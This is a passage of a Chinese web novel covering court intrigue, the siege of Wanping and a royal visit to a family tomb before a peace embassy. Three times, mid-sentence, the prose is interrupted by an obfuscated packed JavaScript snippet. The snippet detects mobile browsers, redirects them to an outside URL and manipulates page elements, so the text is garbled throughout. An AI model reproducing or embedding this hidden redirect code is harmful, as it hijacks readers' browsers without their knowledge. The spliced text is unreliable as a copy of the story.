他垂眸连连摇头,笑声越来越响:“不成想还能逼得你回来,逼得你重入朝堂,简直意外之喜。” 舜英默默看了片刻,痛苦地闭上眼,将两颗泪珠关回眼眶,又问:“你偷偷藏信在药材盒子里……直到回阊江你都还没死心,想拿我这条命,再赌一赌冯太后的良心?” 元旭一言不发,身子僵了僵,没有否认。 舜英冷笑:“可她从未打开过那个药材盒,哪怕只有一次……除了庄王,其他养在膝下的孩子,包括阿晴,在她心里什么都不算。” 元旭无声攥紧拳头,倒退一步,屈膝下跪:“臣这一双手,沾了崔氏的血、褚氏的血,也沾过大嫂的血,还险些沾上陛下的血,请陛下罢黜臣的官职,褫夺臣的爵位。” 舜英睨向他,弯了弯唇角:“那日笠泽大营,若营救阿珂失败,你会眼睁睁看我人头落地?” “当年没护住菀儿,我不能再对不起阿珂”,元旭笑容悲凉自嘲,“我首鼠两端,洛川那会儿你不是见过?” 舜英又问:“你说,姜夫人是你杀的?” 元旭表情一僵,垂眸点了点头。 舜英从头上拔下一根金簪,递给他,指向自己心口:“再刺一次,如何?” 元旭眼瞳急遽收缩,手一抖,金簪跌落、清脆一声“叮当”:“你什么时候知道的?” “去年,你家练武场”,鼻子酸疼、泪花越来越多,舜英别过脸,等泪水滴落后才回首,“我都刺不穿,你手无缚鸡之力,哪来那么大力气徒手刺死姜夫人?你在练武场那些话,也是提醒我,冯太后没那么好糊弄过去。” “果然没用,说杀人都没人相信”,元旭低头苦笑着,翻来覆去看自己手掌,泪水一颗颗滴到手上,滚烫的、酸苦的,“前年,大嫂到处寻你不得,北宛未平、他们不能与荣国生隙,冯太后多疑,我想得到信任就要纳投名状……” “所以,你那时候就开始筹备夺权”,舜英仰头注视着飞翘檐角,泪水不断涌出,“冯太后让你与班氏联姻的时候,你就想好了,顺水推舟策反班益。” “兵马未动粮草先行,云飞燕性子太滑溜,直接跟我合作,比跟随冯太后更有用”,元旭挺直上身,微微抬头,“从三郡二州粮仓见底那一刻,大嫂就开始到处找你,五姐姐临终也托付我一定带你回阊江,回头我就被关进清泉宫……” “等我出来你已经不见了,阊江也跟宛平交恶,我还得众目睽睽背上大嫂的性命。最绝望的时候我甚至想过,直接引骑兵南下、让承赟来坐这位置好了。幸亏你回来了,幸亏时间没过去太久,你在军中声望尚在。” 舜英呆立在夜风中,任泪水被吹干,嗓音哽咽暗哑:“所以,练武场、沧浪墅你也一直在试探我……” “从燮陵到笠泽,你不也一直在试探我?”元旭面带讽刺轻笑,“这么久的心血,这么多人的牺牲,我不能托付给心志不坚的人。” 他忽然抬头,深深看着她,眼神里全是期冀:“与彼此喜欢的人长相厮守,是什么滋味?” 舜英别过脸:“我既选择回来,就已下定决心。” 元旭低头,唇角勾起苦笑:“这世上大多数人都不曾经历过。可我只看一眼你们,就知道那有多好……设身处地,也能知道你宁愿战死朔北,都不想再与元氏宗族有任何纠葛……” “你说,朕该怎么罚你?”舜英陡然拔高音量,截断他余下的话,目不转睛盯着他双眼,满脸自嘲,“方才你说,让朕褫夺你爵位、罢黜你官职?” 元旭坦然双手平举到胸前,稽首大拜:“臣这双手已经洗不干净,不求高官厚禄,只愿与母妃妻儿安度余生。” 舜英注视他许久,忽然笑起来,踉踉跄跄倒退好几步,似是醉了,就那般笑得越来越恣肆,猛然一收,冷冷逼视着他,从齿缝挤出三个字:“想得美!” “我求不到的平静美满,你也别痴心妄想。”远处灯光照来,遮得她面目晦明不定、眼神有些迷蒙,冰冷夜风里,她的声音缥缈虚幻,“只要我掌权一日,你就永远别想归隐致仕,慢慢在这牢笼里风刀霜剑地捱吧。” 她流着泪,冷冷抛下最后一句话,断然拂袖而去。 “我罚你,一入朝堂永无退路,终生战战兢兢、如履薄冰,为大翊鞠躬尽瘁,直到耗尽最后一口热气、一抔热血。” . 元旭回到家中已是深夜,经过前院,发现书房的灯仍亮着。 班珂靠在房内软榻上,双目紧闭、已然睡熟。他从柜子里找出一张薄被,轻轻覆上她身子时,她被惊醒了。 “回来了?你脸怎么了?”她的眼睛像受惊的小鹿,清浅明亮,着急地伸手去触他颊边破损,懊恼地说,“太后是不是大发雷霆了?早知如此,在船上就该跟她说明布署的。” 元旭笑着摇摇头:“没事,她从小就脾气不好、武德充沛,一起长大的几个男孩子,除了四哥谁没被她揍过?” “一起长大?”班珂眼神闪了闪,露出一丝惊喜,“她不是司南侯府长女?” 元旭语调轻快耐心解释:“是司南侯的长女,不过从小女扮男装,放兴庆宫跟我们一起长大的。宫里和宗室都知道,你若有兴致我以后慢慢说给你听,说到儿女成群、子孙满堂……” 班珂霎时双颊绯红,低声羞怯道:“没羞没臊,谁要与你儿孙满堂?你既回来了,我回屋睡去。” 走过书架时,她肩膀不小心拂磕了一下,将一个摆件拂落在地,元旭忙揉了揉她被碰到的地方:“没伤着吧?” 班珂摇摇头,瞥向地面,遗憾地“唉呀”一声:“摔裂了,记得这是你最喜欢的。” 那是一枚珠光宝气的算盘,纯金打造框、梁、档,玉、珊瑚、碧玺、白玉等宝石磨砺成九十一颗算珠,大小均匀、颗颗圆润饱满。在地上一摔,框架和梁裂开几条粗细不一的缝。 班珂弯腰想捡,元旭赶紧一把搀住她:“东西金贵还是人金贵?先回去睡觉,我等下自己收拾。” 班珂看着地上算盘,好奇问:“这摆件很别致,哪来的?” 元旭平静地笑着说:“永平二年,我刚就藩没多久收到的开府礼,是……四哥夫妻特意订做送来的,她……他们老嘲笑我是钱串子。” 班珂促狭地笑了笑:“倒贴切。”任由丫鬟扶着慢慢走向后院。 元旭捡起开裂的算盘,一边流泪一边小心翼翼用鱼胶粘着,无论怎么粘也恢复不到原先模样,却平添几分破而后立、病骨支离的倔强美感。 “这样也好。” 他擦去泪水轻轻说着,定定注视金算盘许久,开始研墨,又裁下一小块棉连纸,提笔在纸上写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059339|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一行瘦金,一瞬不瞬盯着那行字,直至墨迹干透。 “我亦飘零久,十年来,深恩负尽,死生师友。” 最后,他从多宝格抽出一个花梨木盒,打开那空空如也的盒子,将棉连纸垫到最底下,又为四壁和底部填充一层厚厚棉絮,再糊上一层浅蓝丝绸,将金算盘放入盒中。 锁好,塞进柜子深处。 . 元旭皮娇肉嫩,那一拳过了好几天才消肿,看去实在不堪,只得告假在家养着。 可北疆战事如火如荼,他也不好一直在家闲着。只等消了肿,依然要顶着半张青紫破损的脸去朝会。 散朝之后,他习惯性去宝慈宫转了转。 寝殿黑沉沉的,昏黄烛光映照下,冯姮的衣袍发饰一丝不乱。三十多年来,无论被冷落、被猜忌,风光无限还是跌落尘埃,她始终如一地沉着、骄傲、体面。 笠泽兵变那日失态,怒骂掌掴儿媳,像是他的幻觉。 窗子开了个一尺见方的孔,漏入一簇金色阳光,斜斜照在一盆花木上。冯姮正提着水壶,慢慢往盆中浇水。 那是一盆红梅。 元旭看了许久,轻声道:“别再供红梅了,四哥会难过的。” 冯姮手一顿,难以置信地抬头:“你在乱讲什么?” “还有荔枝和香芒”,元旭幽幽地说,“四哥以前是喜欢过红梅荔枝,可自打从灵昌回来,最厌恶的就是红梅和荔枝……至于香芒,五姐姐只有小时候爱吃,她十岁那年生了场重病,那之后一吃香芒就会全身起红疹,严重时还会喘不上气。” 说完这些,他不等冯姮反应,弯腰长长一揖,躬身退下。 他又去了上书房,这几天朝野上下十分在意战事,散朝后总会去上书房议事。 偏厅正在摆饭,这是从征和朝传下的旧习,散朝后若要留官员议事,先摆上一桌饭菜喂饱了,再去上书房慢慢聊。朝会不能殿前失仪,官员通常只能饿肚子口含参片强撑,这一桌家常便饭,着实把臣子的心熨得滚热。 元旭走进去时,气氛十分轻松自在。承祎坐在主位,许多太尉府属官众星捧月簇拥着他,正跟他说得火热。如此不加掩饰的敬重拥戴,还是即位以来头一次,但他神色平静从容、应答自如,脸上眼眸全是与年龄不符的沉稳、带着些许萧索。 元旭莫名想起幼时,四哥代父监国的神情气度,简直一模一样。 舜英坐在承祎旁边,一心二用,一边低声跟云飞燕说粮草调度,一边听那边聊行军进度,不时插上一两句嘴。 这才是她的真实水平,四哥脑子快主意多,又十分勤政,简直不知疲倦,给他辅政的苦差,正常人干不下来。也幸亏那几年比驴还伤脑筋的苦差,给翊国拉扯出个要啥有啥的摄政太后。 元旭瞥了一眼那壁魁梧健壮的武将,默默走到云飞燕身边,刚坐下,宫人立即端给他一盅山药甜羹,恭声道:“丞相大人身子弱,先吃这个垫垫。” 舜英见缝插针地补了一句:“郑娘娘特地让小厨房做的,王上已用过,这是留给你的。” 元旭暗自松了口气,看来那件事算是翻篇了——舜英脾气不好,可习惯有仇当场报,揭过去就不再提。 他正低头小口吃着山药泥,冷不防感觉身侧一寒,抬眸正对上承祎那双黑沉沉眸子,意味深长在他脸颊青紫处反复打量,像是要盯出个洞。 他汗毛倒竖、心猛然一沉——承祎聪慧早熟,样样多智近妖,唯独在某些事情上开窍虽早、脑子却少根筋,总能往最歪最奇怪的方向思考。 一口山药险些呛在喉咙,他满脸糟心、正飞快思索怎么让承祎移开目光,殿外传来宦官喜兴的细声—— “鸿胪寺卿周睿才上奏喜报——” “荣建宁王递国书,愿与大翊重修盟好!” 207. 始知相忆深 翊延光八年、荣建宁十五年,四月二十三,建宁王苻沣亲笔写给褚太后的盟好国书送达阊江。 舜英静静看了那封亲笔手书片刻,递给元旭。 元旭瞥见那字迹便是一怔,笔力虚浮、墨迹粘滞,一见便知写信之人身体状况堪忧。 国书对阊江朝廷雪中送炭的行为大加感激,声明愿响应边垣之盟,并拥立大翊褚太后为盟主,不日将亲自率使团入阊江重订盟约。 邦交惯例,平等两国要么寻个中间地段,要么派遣国内位高权重的臣属为使者,去对方国都觐见,国君大老远跑对方国都去,是藩国对宗主国的礼仪。 群臣都很兴奋——与荣国有来有回打了八九年,苻沣瞧着温和,打起仗来毫不含糊,如今终于熬到对方先低头。 “国力”,从来对邦交不置一词的云飞燕忽然开口,“延光二年,第一次边垣之盟启动,荣国选择遵守盟约、投身北疆战场,至今将近六年。虽北宛从未进犯荣国疆域,龙骧军与玄甲营仍不断驰援三郡二州,早已将国力拖垮。” 兴奋的群臣骤然鸦雀无声,在心里将这几年对北宛的桩桩件件过了一遍,不约而同沉默下去。 元旭与舜英交换了个眼神,酝酿片刻正要开口,承祎忽然出声:“既是平等友邻,何须对方国君千里迢迢来阊江?” 说完这句后,他又转头问:“母后以为如何?” 舜英唇角弯起一丝不易察觉的暖意:“请周卿以友邦之礼待之。” 时光像水,无声滑过。 自那天以后,便是惯常地朝会、散朝、批阅奏折、商议重修盟约规制礼节……忙完公事就陪承徽骑马习武,或是带回邶风别苑读书写字。郑锦珠时不时带大堆好东西去看班珂,回程顺道将承徽捎回宫禁。 平淡、温煦、热闹。 剩下的,便是等待一封又一封从前线发回的塘报。 援军已到长济渠、援军已跨过伊河、先军已抵达燕州、辎重已登岸……骑兵走得越久,传回塘报所需时间越长,却仍未收到任何来自宛平的确切消息。 承赟在淮水退兵前说,自己要马上回朔北支援,当时的宛平全靠谢朗和苻洵撑着,马上就要断粮了…… 五月初九黄昏,舜英坐在邶风别苑望楼上,胸口传来一阵阵心悸。她心口痛得全身都麻了,四肢百骸冰冷僵硬。看着北边出神,直到暮色四起、夜露浸湿裙角也浑然不知。 宫禁内亮起串串灯笼,她又期盼地盯着正南的明德门方向。 边垣之盟重启后,东华门加派了守门侍卫,一有战报,她和元旭立即用令牌叩开宫门,从春秋道直接进上书房。 她突然发现,自己除了等,什么都做不了。 一天一天,时间变得无比漫长。 元璟走上来,温声提议:“若等得焦躁,不妨做些事,静下心慢慢等。” 这几天,元璟一直住在邶风别苑,舜英得闲时,他就主动来聊聊政务、聊聊家常。这会儿,他又摊开满桌瓶瓶罐罐,非要教她点茶。 然后惨不忍睹看舜英大力出奇迹,将茶膏打得乱飞,只得长叹一声收了茶具,临走时宽慰她说:“阿晴的相术一直很准,苻洵没那么容易出事。” 正值此时,门人通报,承祎送她一份薄礼。宣进来后,她顿时两眼一黑——三个俊秀标志的少年,眉眼干净、气质青涩灵秀,像谁不言而喻。 她攥紧拳头,手背青筋暴凸,竭力压制怒火,从齿缝挤出几个低沉的字:“让他滚!” 来送礼的小黄门是个机灵的,可惜太机灵了,赶紧压低声音道:“娘娘若是这些都看不上,赶明儿王上办一场诗酒会,邀请些出身高贵文武双全的……” “有病得治!”舜英忍无可忍打断他,霍然站起指向院门,“小小年纪,成天脑子里都在想什么?” 元璟正过来找她,一见这诡异场景,差点一个趔趄跌倒,赶紧吩咐小黄门将小白脸打包带走,又命人净水泼地、扇风熏香。他看着袅袅升起的驱邪降真香,心念一动:“听你说在荣国学了不少手艺,做一个给我?” 舜英想了半天,取出锦缎、剪刀、银丝、彩线,准备做香囊。拿出纸笔绘花样子的时候,她决定先做两个,给元璟的那个绣桐花,另一个嘛……蝴蝶。 绘完花样子已是亥末,她终于又困又累。回卧房时,闻到一股熟悉的甘甜木香,她特意吩咐的——龙涎香。 这晚,她紧紧抱着一个玉枕,睡得格外香甜。 . 又一年五月初十。 宛平城已断粮七天。 树皮、草根、湿土中的蚯蚓、树上的知了……所有能吃的东西,全被饥不择食的士兵吞进腹中,甚至开始有人去挖观音土。 城中到处是饿得直不起腰的士兵、浮肿的饿殍,若非翊军一向纪律严明,早就开始人相食。瘦骨嶙峋的军马一旦饿死倒下,不到一个时辰就进了将士空荡荡的胃腹。 从城西望楼看去,浩浩荡荡北宛骑兵望不到尽头,慕容飞、赫连鹜、拓跋宇……所有他们熟悉的大将赫然在列,率铁甲精兵走在队列中央的,眇目、独臂却更添凶恶狠戾,正是北宛狼主冯栩。 投石器裹满稻草秸秆,浸满火油,点燃后飞投入城池。坠地刹那,炸开漫天储瓦颓垣,“轰”地腾起一股又一股烈焰,熊熊大火很快连缀成片,整个宛平都陷在泱泱火海之中。 大火炙烤得后背生疼,热汗滚滚。苻洵抬手抹了一把脸,满是焦灰、鬓发蓬乱,但他顾不上这些。谢朗跟他一起,竭尽全力将床弩转动方向,填装重箭,转动绞轴…… 眼前一阵黑一阵白,苻洵晃了晃脑袋,让自己视野更清晰些,瞄准、松手…… 骑乘马背上寄吃的慕容飞被洞穿胸口,往后带飞两三丈、跌下马背。 再次填装、转动、瞄准、松手…… 赫连鹜倒退着飞出。 第三箭偏了些,擦着拓跋宇的肩膀飞过。他苦笑着摇摇头,继续装填重箭。他突然很想试试,这重箭能否穿透冯栩那满身铁甲。 身上不知中了多少箭,不在要害、他懒得管。肠胃空荡荡的,像被烈火灼烧过、又被钝刀一点点剜刮,现在却已经感觉不到饿,只是头晕眼花恶心。 他手抖得厉害,怎么都握不紧重箭。 能挽三百斤强弓的膂力,如今却连一支箭都捡不起。 他颤抖着举起水袋,张嘴倒下,一部分流进口中、像极桂花酿的甘醇,另一部分水泼到脸上,沁凉清爽、令他精神一振。他扯动嘴角笑了笑,双手捧起那支箭,将尾部扣在主弓上。 迎面飞来一支箭,他躲避不及,眼睁睁看它钉入小腿。双腿本就打着颤,这下更站立不稳,他被那力量带得后退两步。 又一箭,擦着面颊飞过,火辣辣地疼,他忽然想起她笑吟吟捏自己脸颊的模样。 真想再看看那笑靥。 天旋地转、仰面倒下之前,他无不遗憾地想。 一双强壮有力的手臂接住了他,是元承赟,眼里关着波涛汹涌、定定注视着他:“撑住!你一个荣国将军,死在宛平城头,算什么?” 苻洵略带讶异笑了,哑声断断续续问:“陛下何时班师?” 元承赟看向城下,北宛骑兵如滚滚洪流:“撑住,援军和粮草快到了。” 苻洵张了张嘴,却发不出半点声音。 元承赟低头凝视他许久,眼圈有些红:“大哥的死,其实我跟娘早就不恨你了。谢谢你将大哥安葬……撑住,咱们还要一起踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063615|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平柘枝城……” 他再说什么,苻洵已听不到了,耳畔萦绕着,是那晚白鹭台的歌声——“生当复来归,死当长相思。” 苻洵用尽最后力气,将那枚蝴蝶祥云锁攥在手心,笑着看向天空,轻声说:“没事,我们都尽力了。” “不要难过,不要责怪自己。” “我不配,忘了我……” 远处响起三声号角,战鼓如雷、战马嘶鸣,各种轰鸣声连成一片,像潮水在耳边翻滚。揽住他的元承赟突然精神大震,使劲推搡着他,全身因激动而颤抖,竟喜极而泣。 “苻将军,快起来,撑住!” “醒醒!援兵来了!” 有轻快的足音顺台阶爬上城墙,旋即,一股甜丝丝的温热液体被灌进口中,耳边响起熟悉的声音。 “主子,我们回来了。” 苻洵被郎琊秦川一左一右,搀扶着站立起来,极目南望。只见一大队陌生骑兵从南飞驰而来,身后是浩浩荡荡望不见边头的辎重车辆。 主将身侧传令兵放声高喊:“大翊褚太后诏曰,重启‘边垣之盟’,末将宛陵骠骑将军左肃,奉太后陛下之诏驰援宛平!” . 苻洵这次伤口好得很慢,人是铁饭是钢,再强悍的身体、饿上十天半月也没什么修复能力。 他习惯地听舜英话,不在她身边时少用金蝉。 好在这次阊江供应的粮草药物都很宽裕,宛陵骑兵也倾巢出动,顶住了北宛第一波攻势。真如久旱逢甘霖,苦熬宛平许久的三州两郡骑兵和龙骧军都得到了不错休养。 苻洵休养期间,班益和南宫羽一致让承赟担任主帅——地势熟悉。 承赟对苻洵很上心,每次出征回来都去他卧房转一圈,看看他伤有没有好一些。那天下午,嫌他伤口愈合太慢,又丢给他几罐药膏:“阊江那边的新配方,宫里贵人用的,药效比军中的好不少,试试?” 苻洵接过来,抹了些在伤口上,果然凉丝丝的、十分清爽舒服:“哪儿来的?” 承赟漫不经心道:“班太尉给的,他出发之前,六叔让御医署连夜配了几大箱子。” 苻洵有些讶异:“你们……” “我从第一眼就知道,不是六叔”,承赟摇头道,“六叔那手劲,给他把刀都不一定捅得进去,何况那么钝的簪子?” 苻洵默默咽了口唾沫:承赟看着耿直,心眼也这样多,果然,姓元的没一个善茬。 不过,承赟心眼还不够多。再仔细些就能察觉,这伤药罐除了渗进去的药味,还透着淡淡甘甜香气——他熟悉的气味,蜜合香。 承赟说了几句就出去继续忙,苻洵盯着伤药静静看了半晌,珍惜地挑出来,将每道伤口只薄薄涂一层,然后将药罐放在枕边,伸了个懒腰,在蜜合香气息里挂着微笑睡去。 长济渠的帆影来来回回,从阊江运来的粮草绵绵不绝,集结两国最善战的将军、合三股最精锐的骑兵,北宛狼骑遭遇的抵抗前所未有强大。 六月初,冯栩率军撤回柘枝城,元承赟立即率大军奋起直追,却在半道遭遇惨烈埋伏。 不是人马,不是刀剑陷坑,而是埋在沙子底部的水瓮。铁蹄踩破水瓮后,一股又一股浓黑粘稠的液体喷溅泗流,黏附在马蹄和辎车上,浓浓的臭鸡蛋味弥散半空。 六月的烈日轻轻一烤,黝黑液体轰然窜起火苗、见风就长,无论在地上翻滚还是倒水都不能扑灭,泼泼烈烈滚成一团火球。有人冲过去想营救同伴,离火球还有三五尺远,自己的头发衣裳也无风自燃。 “石脂!是石脂!”人群中经历过朔门关之战的武官率先高呼,“冯栩在地下埋了好多石脂!” 苻洵和舜英最担心的事,还是发生了。 208. 北邙荒丘 突如其来的石脂瓮阵,将中原北伐骑兵拦在半道。 没人能确定这些石脂来自何处,更不敢确定,北宛是否已掌握石脂的保存和运输方法。 六月十五,阊江和奉宁同时发来撤军诏书。新的作战武器,新的不确定危险,两国陛下都不敢贸然继续。 同一天,翊国鸿胪寺的请帖送至奉宁——七月初七,为褚后生辰举办千秋宴,邀荣国及部分藩国派出使团同乐。 就差把“石脂”、“曲勒”二字写请帖上了。 六月二十,荣国使团走到洛京时,苻洵和元承赟正同路南下,刚好从龙门渡过河而来。 河边凉亭中,两名中年男子对坐饮茶,看着一艘画舫在浊黄波浪间浮浮沉沉,从伊河北岸缓缓渡波而来。 刚下过一场雨,空气散发着淡淡泥土香,岸堤铺着层不知名野草,绿茵如织,雨水洗过格外翠色喜人。点缀着苜蓿花、灵香草和野棉花,浓淡深浅各不相同的紫。 苻洵从船头轻盈蹦上岸堤,采了几枝野棉花捏在手里,翻来覆去看了片刻,眉眼漾起笑意,懒懒散散朝凉亭走去,边走边招呼:“景相,洹哥,中午好啊。” 凉亭旁停着一辆安车,苻洵经过时,车里传出一声呵斥:“三十好几的人,没个正形!” 苻洵吓得一抖,险些把手里的花丢出去,忙挺直脊背、屈膝稽首:“微臣苻洵,拜见陛下万岁!” 苻沣伸手拉开车帘,弯腰探身,苻洵忙上前扶着他。一上手,苻洵心头便是一惊—— 轻,太轻了。 他的手臂筋骨突兀,蒙着一层苍白脆弱的皮,青紫色血管在皮下无力涌动。伊河边吹来夏风,暑热之中掺进丝丝凉意,他却陡然爆发出一阵急促咳嗽。 苻洵顷刻明白了他为何一直坐在车里。 大半年不见,他居然衰老虚弱至此。 兕儿和苻阙忙跑过来,一人倒热水、一人递帕子。 “从去年四月,南翊攻进洛京起,父王每天休息不足三个时辰,饭食也减半”,兕儿一边替苻沣擦汗,一边幽幽叹息,“荣国腹背受敌不说,还要想法设法到处搜刮,两支骑兵的粮草啊……” “难关已渡,无需赘言”,苻沣唇角绽出笑意,看着苻洵,“你眼光还不错。” 苻阙愤慨道:“那些南翊人太可恶了!父王何必……” “现在只有一个翊,哪还分什么南北?”兕儿截口打断他,看向正从画舫款款走来的承赟一行人,“现下摄政的褚后是纯善之人,陛下才会与之建交。” 苻沣瞥了两个孩子一眼,没说话,由苻洵搀扶着迎向承赟。 远远地,承赟单膝下跪、施礼道:“外臣元承赟,拜见建宁陛下!”他的动作落落大方,泰然自若,仿佛去年以国君身份与苻沣同登高台的,是另一个人。 入亭之后,苻洵很自然地坐到苻沣右侧,替所有人斟茶倒水。 承赟瞄了一眼如此乖顺的苻洵,眸中闪过一丝惊讶,又望向苻沣、有些感怀:“据外臣所知,本次只是邀请赴宴,就算是盟约、以平等邦交的礼数,并不需要陛下亲自去阊江……” “我不去阊江,阿洹和景相去”,苻沣淡淡笑了,“我去阳华山看看阿萱,再给阿晴扫扫墓。” 承赟心念一动,笑道:“我也有八九年没回过昇阳,正好去看看四叔和大哥。这儿近得很,来回两天时间,误不了赴宴。” 苻洵莫名尴尬,四下打量,想寻个人来斟茶,自己伺机溜走。苻沣却转向他,平静地说:“阿洵也一起来吧。” . 多场战火洗礼,繁华锦绣的旧翊都草木深青,丰饶富庶的翊东粮仓十室九空。 白骨露于野,千里无鸡鸣。 苻沣揭开车帘,望向满目疮痍,疲惫的双眸涌出泪水,颤声吟道:“道德三皇五帝,功名夏后商周。七雄五霸斗春秋。顷刻兴亡过手……” 景樊似有所感,悲声续道:“……青史几行名姓,北邙无数荒丘。前人田地后人收。说甚龙争虎斗。” 承赟心绪纷乱,挤出一个微笑,温声宽慰:“外臣曾有幸与褚后共事,陛下柔德安众、守礼好义、不喜杀伐,她若执政,两国应有数年和平。” 他越说声音越低,因为苻洹将目光投向苻洵,似笑非笑。 气氛再次陷入尴尬。 承赟却似想起什么,盯着苻洵笑了:“外臣听说——褚后陛下似乎与苻将军有些许……过节?” 姓元的都这样,哪壶不开提哪壶…… 苻洵赶紧表态:“彼时两国对立,褚后为国孤身犯险,实乃女中豪杰,外臣虽险遭不测,仍对其……敬佩至极!” 想了想又补充:“还望太尉与承赟殿下此次觐见,替末将转达龙骧军众将士感激之情。” 苻洹顿时肃然起敬、收回目光,苻沣又开始似笑非笑打量苻洵。 苻洵快窒息了,望着窗外飞速倒退的景致,开始思考脱身之法。却听承赟欣然道:“外臣果然没看错,苻将军心胸开阔、不拘小节、伟丈夫也……” 苻沣眼里玩味越来越浓,苻洵十分想马上跳车。 承赟显然不太懂这三兄弟暗流汹涌,慨然道:“说起来,我那位四婶更是成仁取义的人,虽说她捅了苻将军七刀……实际上也是没法子,她原本想尽量减少那场战争的伤害,还险些将自己性命搭进去。” 苻沣不笑了、眼神一肃,苻洹也听得入神,苻洵也不找时机跳车了,就连景樊也收回投向窗外的目光,四人齐刷刷看向承赟,听他讲下文。 承赟笑了笑,理清头绪款款道:“说起来,四叔虽武德充沛,却并不喜主动出兵挑起战火,不知为何对贵国一反常态……大约是苻将军太惹眼、那几年贵国扩张太快,招邻邦忌惮。” “永平五年,我回昇阳过年,无意听见娘与四婶密谈……周围女使嬷嬷都被支走,四婶说这是不义之战,娘也这么觉得,别人入侵反杀是一回事,自己挑起战争是另一回事。娘承诺会跟爹好好说道,多劝劝四叔……” “谁知四嫂让娘不必劝了,四叔心意已决,她只想求两件事:其一,让自己成为平西主帅,最好能御驾亲征;其二,她求娘帮她寻一样东西……” 承赟扫视一圈众人,艰涩地说:“西羌红花!” 苻沣和苻洹都早为人父,自然懂那是什么,脸色骤然一沉,面面相觑,低声惊呼:“她要这个做甚?为何独独找姜夫人要?” “四婶独求娘去寻此物,个中隐情不足为外人道”,承赟酝酿片刻,绕回正题,“至于为何需要红花……她说,平西之战已成定局,所以她次年不能有身孕,必须成为主将。” “若胜,她要尽快结束战争,有她在也可更好约束将士;若败……”承赟低头,声音越来越沉重,“若败,就当她用自己一条命,向四叔死谏。” 车内瞬间静得可怕。 苻洵只感觉耳边嗡的一声,脑海一片空白,所有人声都变得模糊、遥远而不真切,几人不均匀的心跳和呼吸却越来越重,越来越重。 恍惚间,一只手重重落在他肩头,是苻沣,神情郑重地看着他:“阿洵,景相身子不好,你替他去阊江吧。” 未等苻洵回答,苻沣又盯着他双眼,一字一字沉声说:“恩怨爱恨,终须放下。山高水长,心安为家。” 承赟觉得这话意味深长,却一时琢磨不透,正沉吟着,车身抖了几抖,车夫恭声道:“陛下,陵园到了。” 第二天清早,苻洹、苻洵和元承赟三人骑快马赶回洛京,苻沣站在苻萱的墓前,伸手轻轻抚过碑文,久久不语。 “元珙,元璟,元晞,元旻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068186|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元旭,元承陵,元承赟,元承祎……元氏子孙繁盛、代代人才辈出啊”,他目光越过元氏陵园累累墓碑,遥远望不到边际,忽然显出无尽疲惫和悲怆,“气运未竭,国祚绵长……” 转头,陵园外是满目疮痍的土地。 他缓缓流下两行泪:“绕树三匝,何枝可依?” “倘使荣国无我,六尺之孤何托?何托?” 回应他的,只有吹过累累坟冢、青青松柏的风,以及三两声清脆的蝈蝈鸣叫。 苻沣艰难地俯身,循声找去,那是一只蝈蝈笼,藏在墓碑后面,新编的、篾条还带着淡青潮湿,一对蝈蝈在笼子里昂扬高歌。 他这才发现,墓碑后放着一排蝈蝈笼,新旧不一,最远的那头已风吹雨打、朽坏腐烂,数了数,正好九只。 “真是个犟种”,苻沣泪眼模糊,笑骂了一句,“三十好几的人,阿萱怕是都忘了,偏他记得。” . 听闻承赟与荣国使团结伴觐见,元旭特命西陵水师派出两艘最快的楼船,候在长济渠荣翊两国交界之处。 阊江有个官中专用的小渡口,叫明月渡。六月二十八,周睿才一大清早就率鸿胪寺大小官员守在渡口。先头楼船下来的,自然是元承赟和三郡两州部分武将,荣国太尉苻洹、威远将军苻洵、鸿胪寺官员…… 名单上特注的贵客都已登岸,周睿才忙接引他们登上早已备好的宝马香车。苻洵却弯了弯桃花眼,端端正正施一礼:“后面还有一船,劳烦鸿胪寺各位大人。” 见周睿才有点担忧,苻洵又笑着宽慰:“小国出来的,不必太劳心,包几家好点的客栈就成。” 周睿才不敢大意,让单瑶先送几位大人物进城,自己带着几名小吏候在渡口。待后一艘船缓缓靠岸,宾客鱼贯走来,他顿时眼前一黑…… 先是香气,刺鼻香料混着浓重体味,熏得人头昏脑胀;再是色彩,红的蓝的黑的金的,花花绿绿光彩夺目;然后是声音,臂钏、耳环、闭环、铃铛叮叮当当直响,夹杂着叽里咕噜鸟语…… 大朝会上,百官瞠目结舌看着涌进殿内的彩色泥石流,就连一向没什么表情的承祎,也睁大了双眼。 舜英坐在尊位上,强行镇定,唇角还是忍不住抽了几抽。 “这是卢卡国、这是大萨拉国、还有千弥国、乌兹国、月山国……”元璟一边观察上殿使者的服饰,一边低声跟元旭提醒。 “说慢点,记不住”,元旭一边眼花缭乱,一边悄声嘀咕,“西羌有那么大?这么多国家?” 